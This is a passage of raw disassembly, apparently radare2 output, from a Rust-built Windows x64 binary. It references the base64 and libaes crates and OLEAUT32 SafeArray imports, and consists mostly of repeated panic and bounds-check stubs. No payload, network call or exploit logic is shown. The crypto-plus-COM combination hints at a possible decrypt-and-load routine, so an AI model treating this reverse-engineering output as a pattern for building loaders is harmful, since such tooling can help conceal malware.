lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 5
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 6
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 7
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 1
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 2
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 3
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 5
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 6
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 7
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 1
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 2
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 3
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 5
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 6
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 7
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 1
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 2
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 3
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 5
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 6
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 7
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, [0x140042720]
mov edx, 0x351
mov rcx, rsi
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
push 0x3c
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
push 0x3c
pop rdx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
push 0x3c
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
push 0x3c
pop rdx
mov rcx, rax
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
push 0x3c
pop rdx
mov rcx, rax
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.srcmain.rs
mov edx, 0x1000
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.srcmain.rs
mov rcx, rdx
mov rdx, rdi
call fcn.14003ed60
jmp 0x140004cc6
mov rcx, qword [rbp + 0x4b78]
mov rdi, qword [rbp + 0x4b50]
jmp 0x140004ac0
mov rcx, qword [rbp + 0x4b78]
push 1
jmp 0x140004a91
push 2
jmp 0x140004aae
push 3
jmp 0x140004aae
push 4
jmp 0x140004aae
push 5
jmp 0x140004aae
push 6
jmp 0x140004aae
push 7
jmp 0x140004aae
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
mov rcx, qword [rbp + 0x4b78]
push 8
jmp 0x140004a91
push 9
jmp 0x140004aae
push 0xa
jmp 0x140004aae
push 0xb
jmp 0x140004aae
push 0xc
jmp 0x140004aae
push 0xd
jmp 0x140004aae
push 0xe
jmp 0x140004aae
push SafeArrayGetDim
jmp 0x140004aae
mov rcx, qword [rbp + 0x4b78]
push reloc.OLEAUT32.dll_SafeArrayGetDim
jmp 0x140004a91
push 0x11
jmp 0x140004aae
push SafeArrayGetLBound
jmp 0x140004aae
push reloc.OLEAUT32.dll_SafeArrayGetLBound
jmp 0x140004aae
push reloc.OLEAUT32.dll_SafeArrayLock
jmp 0x140004aae
push 0x15
jmp 0x140004aae
push SafeArrayUnaccessData
jmp 0x140004aae
push reloc.OLEAUT32.dll_SafeArrayUnaccessData
jmp 0x140004aae
mov rcx, qword [rbp + 0x4b78]
push reloc.OLEAUT32.dll_SafeArrayGetElement
pop rax
jmp 0x140004ab6
push 0x19
jmp 0x140004aae
push 0x1a
jmp 0x140004aae
push 0x1b
jmp 0x140004aae
push 0x1c
jmp 0x140004aae
push 0x1d
jmp 0x140004aae
push 0x1e
jmp 0x140004aae
push 0x1f
pop rax
mov rcx, qword [rbp + 0x4b78]
mov rdi, qword [rbp + 0x4b50]
or rdi, rax
xor esi, esi
mov rdx, qword [rbp + 0x4b28]
call fcn.14000b6b0
movzx eax, r15b
shl rax, 8
or rax, rsi
lea r8, [rbp - 0x40]
mov qword [r8], rax
mov qword [r8 + 8], rdi
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140041820]
push 0x2b
pop rdx
call fcn.14003f150
ud2
mov rdi, qword [rbp + 0x4b50]
add rdi, rsi
mov r15b, 0x3d
xor esi, esi
mov rcx, qword [rbp + 0x4b78]
jmp 0x140004ac2
push 1
jmp 0x140004b36
push 2
jmp 0x140004b36
push 3
jmp 0x140004b36
push 4
jmp 0x140004b36
push 5
jmp 0x140004b36
push 7
pop rax
or qword [rbp + 0x4b50], rax
mov rcx, qword [rbp + 0x4b78]
xor esi, esi
mov rdi, qword [rbp + 0x4b50]
jmp 0x140004ac2
lea r8, str._rustc_2c8cc343237b8f7d5a3c3703e3a87f2eb2c54a74library_std_srcio_readbuf.rs
mov rcx, r12
mov rdx, r13
call fcn.14003ede0
jmp 0x140004cc6
lea rax, str.Impossible:_must_only_have_0_to_8_input_bytes_in_last_chunk__with_no_invalid_lengths
mov qword [rbp - 0x30], rax
push 1
pop rax
mov qword [rbp - 0x28], rax
and qword [rbp - 0x40], 0
lea rcx, [0x14005a668]
mov qword [rbp - 0x20], rcx
and qword [rbp - 0x18], 0
lea rdx, [rbp + 0x3fc0]
lea rcx, [rbp - 0x40]
mov qword [rdx], rcx
lea rbx, str.internal_error:_entered_unreachable_code:
lea rcx, [rbp + 0x43c0]
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rax
and qword [rcx], 0
lea rbx, [0x140011eb0]
mov qword [rdx + 8], rbx
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x28], rax
lea rdx, [0x140042708]
call fcn.14003ed20
jmp 0x140004cc6
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, qword [rbp + 0x4b20]
xor r8d, r8d
mov r9, r14
call fcn.14003f1f0
jmp 0x140004cc6
lea r8, [0x140042648]
mov edx, 0x46c
call fcn.14003ede0
jmp 0x140004cc6
push 3
pop rsi
xor r15d, r15d
jmp 0x140004b17
mov rdi, qword [rbp + 0x4b50]
add rdi, r9
dec rdi
push 2
pop rsi
mov r15d, r8d
jmp 0x140004b17
mov rdi, qword [rbp + 0x4b50]
add rdi, rax
jmp 0x140004b15
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, qword [rbp + 0x4b20]
mov r8, r14
mov r9, rdx
call fcn.14003f1f0
jmp 0x140004cc6
lea rax, str._rustc_2c8cc343237b8f7d5a3c3703e3a87f2eb2c54a74library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140057763]
lea r9, [0x140056530]
push 0x46
pop rdx
lea r8, [rbp + 0x43c0]
call fcn.14003f150
jmp 0x140004cc6
ud2
call fcn.14000b600
jmp 0x140004cc6
push 1
pop rdx
mov rcx, r14
call fcn.14003e7c0
jmp 0x140004cc6
lea rax, str._rustc_2c8cc343237b8f7d5a3c3703e3a87f2eb2c54a74library_std_srciomod.rs
push 0x20
pop rdx
mov rcx, r8
mov r8, rax
call fcn.14003edf0
ud2